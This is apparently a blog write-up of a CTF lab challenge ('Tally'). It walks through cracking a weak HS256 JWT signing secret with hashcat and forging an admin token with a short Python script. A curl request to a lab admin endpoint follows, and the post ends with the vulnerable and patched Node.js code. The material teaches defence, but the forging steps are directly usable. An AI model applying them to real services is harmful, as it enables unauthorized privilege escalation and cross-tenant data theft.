Skip to main content

Command Palette

Search for a command to run...

WebVersePro Labs - Foundational: Tally Writeup (Weak JWT Signing Key)

Published
6 min read
S
messy writer

Welcome back to another WebVerse Pro Labs Foundational Writeup. Today, I will breakdown Tally, a foundational WebVerse challenge that perfectly illustrates a critical lesson in web security: cryptographic primitives are entirely useless if the underlying secret is weak.

In this scenario, we are targeting a micro-SaaS invoicing application. Our objective is to escalate our privileges from a standard user to an administrator and access internal cross-tenant exports. Let's break down the attack path.


OBJECTIVE: Privilege escalation from a standard user to an administrator via offline brute-forcing of a weak JSON Web Token (JWT) signing key. VULNERABILITY: Inadequate Encryption Strength (CWE-326) combined with the Use of Hard-coded Credentials (CWE-798). The application relies on a symmetric algorithm (HS256) secured by a low-entropy dictionary word.

Challenge Briefing

Tally is a one-person micro-SaaS run out of a basement office in Asheville, North Carolina. Maren Ostlund built it for herself in 2023 — she'd been doing books for small studios and freelancers for twelve years and was tired of every existing tool. Last spring she opened it up to other solo bookkeepers for $9 a month. Login uses signed tokens, "the industry-standard way." The signing secret was chosen at 1am the night before launch and hasn't been changed since. Sign up for a free account, look around, and pay attention to what the server is handing you on the way in.


Initial Discovery

I started by navigating to the target instance at TARGET_IP, which redirected to tally.local. I added the domain to my hosts file:

echo "TARGET_IP tally.local" | sudo tee -a /etc/hosts > /dev/null

With Burp Suite running and Chromium proxied through it, I browsed to http://tally.local to enumerate the public-facing application.

I signed up for a free account as Zor0ark.

Once inside, the dashboard presented a standard unprivileged view — zeroed-out ledgers and no invoice data.

Reviewing Burp Suite's HTTP history, a GET request to /api/auth/me immediately stood out. The application was passing a JWT in the Authorization header:

I copied the Bearer token and dropped it into the debugger at jwt.io. The decoded header confirmed the application was using HS256 (HMAC-SHA256) as its signing algorithm.

The decoded payload revealed my current identity and privilege level:

{
        "sub": 3,
        "email": "zor0ark@webverse.com",
        "name": "Zor0ark",
        "role": "user",
        "iat": 1777857459,
        "exp": 1778462259
}

The attack vector was immediately clear. Because HS256 is a symmetric algorithm, the same secret is used to both sign and verify tokens. If I could recover that secret, I could modify the "role": "user" claim to "role": "admin" and re-sign the token myself — and the server would trust it completely. Given the challenge briefing's hint about a fatigued developer making a last-minute decision, this was a prime candidate for an offline dictionary attack.


Exploitation

I copy the base64-encoded Bearer string and save it as jwt.txt using the command:

echo -n "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjMsImVtYWlsIjoiem9yMGFya0B3ZWJ2ZXJzZS5jb20iLCJuYW1lIjoiWm9yMGFyayIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzc3ODU3NDU5LCJleHAiOjE3Nzg0NjIyNTl9.0BM4m1i9l0u-jw39arza0IwGW1uqrVO9Y5M1oUxpQ_I" > jwt.txt

I ran Hashcat using mode 16500 (JWT) against the standard rockyou.txt wordlist:

hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

Within 2–3 seconds, the weak secret was recovered: tally123.

Armed with the cracked secret, I wrote a short Python script using the PyJWT library to forge an elevated token:

import jwt

# The original payload, but with the role escalated to 'admin'
payload = {
  "sub": 3,
  "email": "zor0ark@webverse.com",
  "name": "Zor0ark",
  "role": "admin", 
  "iat": 1777857459,
  "exp": 1778462259
}

# Sign it using the cracked rockyou secret
forged_token = jwt.encode(payload, "tally123", algorithm="HS256")
print(f"Your Admin Token:\n{forged_token}")

I executed the script, copied the forged token, and sent it directly to the restricted admin endpoint — bypassing the frontend entirely:

curl -i -X GET http://tally.local/api/admin/exports \
  -H "Authorization: Bearer <MY_FORGED_TOKEN>"

The server responded with a 200 OK, dumping the internal cross-tenant data and yielding the flag.


My Technical Takeaways

Code Vulnerability Analysis

This attack succeeds because of how symmetric signing algorithms fundamentally operate. With HS256, the same secret is used to sign outgoing tokens and verify incoming ones. Once we brute-forced that secret offline — without ever touching the server — we effectively cloned the server's cryptographic authority. The backend has no mechanism to distinguish between a token it issued and one we forged.

Below is what the vulnerable Node.js/Express backend likely looked like:

const jwt = require('jsonwebtoken');

// CWE-798: Hard-coded Credential & CWE-326: Inadequate Encryption Strength
const JWT_SECRET = 'tally123'; 

exports.login = (req, res) => {
    const user = { id: 3, email: 'zor0ark@webverse.com', role: 'user' };
    
    // Signing the token with a weak, guessable symmetric key
    const token = jwt.sign(user, JWT_SECRET, { algorithm: 'HS256', expiresIn: '7d' });
    
    res.json({ token });
};

exports.verifyAdmin = (req, res, next) => {
    const token = req.headers.authorization.split(' ')[1];
    
    // If the token was signed with 'tally123', jwt.verify trusts it blindly
    const decoded = jwt.verify(token, JWT_SECRET);
    
    if (decoded.role === 'admin') {
        next(); // Exploit succeeds, user is granted admin access
    } else {
        res.status(403).send("Forbidden");
    }
};

Why this happened (Infrastructure Insight)

This is a classic case of developer fatigue prioritizing convenience over security. At 1:00 AM before a launch, the developer likely hardcoded a memorable, human-readable string directly into the application logic just to get the authentication middleware working. Cryptographic primitives—no matter how mathematically sound—are entirely useless if the foundation they rest on is a dictionary word.

How I would patch it?

To fix this, the backend needs immediate architectural changes to address this vulnerability. We need to Enforce Cryptographic Entropy, meaning, the environment variable must be a cryptographically secure, random 256-bit string (e.g., generated using openssl rand -base64 32).

Patched Code:

const jwt = require('jsonwebtoken');

// The secret is now loaded from a secure environment file
// Example .env value: JWT_SECRET=8x/9aF... (32+ bytes of random entropy)
const JWT_SECRET = process.env.JWT_SECRET; 

if (!JWT_SECRET || JWT_SECRET.length < 32) {
    throw new Error("FATAL: Insecure JWT_SECRET configuration.");
}

exports.login = (req, res) => {
    const user = { id: 3, email: 'zor0ark@webverse.com', role: 'user' };
    const token = jwt.sign(user, JWT_SECRET, { algorithm: 'HS256', expiresIn: '7d' });
    res.json({ token });
};

Alternatively, the most robust fix is migrating from HS256 (symmetric) to RS256 (asymmetric). By using a private key to sign the tokens and a public key to verify them, an attacker who compromises the application's environment variables or source code only gains the public key. They still cannot forge a signature without compromising the securely vaulted private key.


Conclusion

Tally serves as a perfect reminder that relying on "industry-standard" technology like JWTs doesn't make you secure by default. A vault door is only as strong as the padlock you put on it. Always audit your secrets, enforce cryptographic entropy, and never let exhaustion dictate your security posture.


References

Keep breaking things. – Zor0ark

WebVerse Pro Labs Writeups

Part 1 of 1

This is my writeups and documentation for WebVerse Pro Labs CTF Challenges

More from this blog

Z

Zor0ark's Notebook

3 posts

A cybersecurity notebook by Zor0ark — featuring CTF writeups from HackTheBox, TryHackMe, picoCTF, and more, alongside OSINT research, walkthroughs, and security notes.